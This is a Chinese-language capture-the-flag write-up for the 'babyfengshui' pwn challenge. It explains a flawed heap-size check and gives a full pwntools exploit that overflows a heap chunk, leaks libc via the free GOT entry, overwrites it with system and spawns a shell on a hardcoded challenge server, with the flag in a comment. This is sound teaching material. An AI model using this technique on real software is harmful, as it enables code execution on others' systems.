攻防世界 pwn進階區----No.012 babyfengshui 解題思路

         攻防世界 pwn進階區----No.012 babyfengshui 解題思路

1.本題解題思路

1.先期工作

1.運行程序查看基本邏輯

創建用戶

 

 

 

 

展示用戶

更新用戶

刪除用戶

到這裏就可以猜測這題有可能堆上的題,重點查看刪除堆的指針情況,以及堆溢出的情況。

2.運用checksec查看程序的保護措施

沒有開啓地址隨機化,使得簡單了許多。

3.打開ida審計源碼

2.分析漏洞

1.用IDA_pro調試

可以看出主要的數據結構爲:

  struct user {
    char *desc;
    char name[0x7c];
} user;

struct user *store[50];

另外在設置用戶描述時,程序有一些奇怪的保護:

要求&users[id]->desc[text_len] >= &users[id] - 4

猜測它使用這種保護來避免堆溢出。

然而這種檢查方式是有問題的,它基於 description 正好位於 user 前面這種設定。根據我們對堆分配器的理解,這個設定不一定成立,它們之間可能會包含其他已分配的堆塊,從而繞過檢查。

3.調試程序

調試程序以獲得構建堆溢出所需要的數據

 

4.exp的寫法與調試

1.首先創造函數

def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recv()
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)

2.其次創建堆溢出

2.本題所涉及知識

1.系統內存分佈圖

2.malloc_chunk函數

struct malloc_chunk {
  /* #define INTERNAL_SIZE_T size_t */
  INTERNAL_SIZE_T      prev_size;  /* Size of previous chunk (if free).  */
  INTERNAL_SIZE_T      size;       /* Size in bytes, including overhead. */
  struct malloc_chunk* fd;         /* double links -- used only if free. 這兩個指針只在free chunk中存在*/
  struct malloc_chunk* bk;
 
  /* Only used for large blocks: pointer to next larger size.  */
  struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
  struct malloc_chunk* bk_nextsize;
};

整體的exp如下:

#!/usr/bin/python
#cyberpeace{a8cbc69fc283b507d582050faf5099f4}
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *
#context.log_level = 'debug'
ip = "111.198.29.45"
port = 58337


#p = process('./babyfengshui')
p=remote(ip,port)
elf=ELF('./babyfengshui')
obj=LibcSearcher('free',0xf760a750)


def add_note(size,length,text):
    p.recvuntil('Action: ')
    p.sendline('0')
    p.recvuntil('size of description: ')
    p.sendline(str(size))
    p.recvuntil('name: ')
    p.sendline('AAA')
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.recvuntil('text: ')
    p.sendline(text)
def delete_note(idx):
    p.recvuntil('Action: ')
    p.sendline('1')
    p.recvuntil('index: ')
    p.sendline(str(idx))
def display_note(idx):
    p.recvuntil('Action: ')
    p.sendline('2')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recv()
def update_note(idx,length,text):
    p.recvuntil('Action: ')
    p.sendline('3')
    p.recvuntil('index: ')
    p.sendline(str(idx))
    p.recvuntil('text length: ')
    p.sendline(str(length))
    p.sendlineafter('text: ',text)
add_note(0x80,0x80,'aaa')
#gdb.attach(p)
add_note(0x80,0x80,'bbb')
add_note(0x8,0x8,'/bin//sh')
delete_note(0)
#gdb.attach(p)
add_note(0x100,0x19c,'a'*0x198+p32(elf.got['free']))   
display_note(1)
p.recvuntil('description: ')
free_addr=u32(p.recv(4))
print hex(free_addr)
#print(hex(elf.got['free']))
#print(hex(obj.dump('free')))
offset=free_addr-obj.dump('free')
sys_addr=obj.dump('system')+offset
update_note(1,0x4,p32(sys_addr))		
delete_note(2)
p.interactive()

3.反思與思考

參考資料:

https://www.cnblogs.com/alisecurity/p/5486458.html

https://firmianay.gitbooks.io/ctf-all-in-one/doc/6.1.20_pwn_33c3ctf2016_babyfengshui.html

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章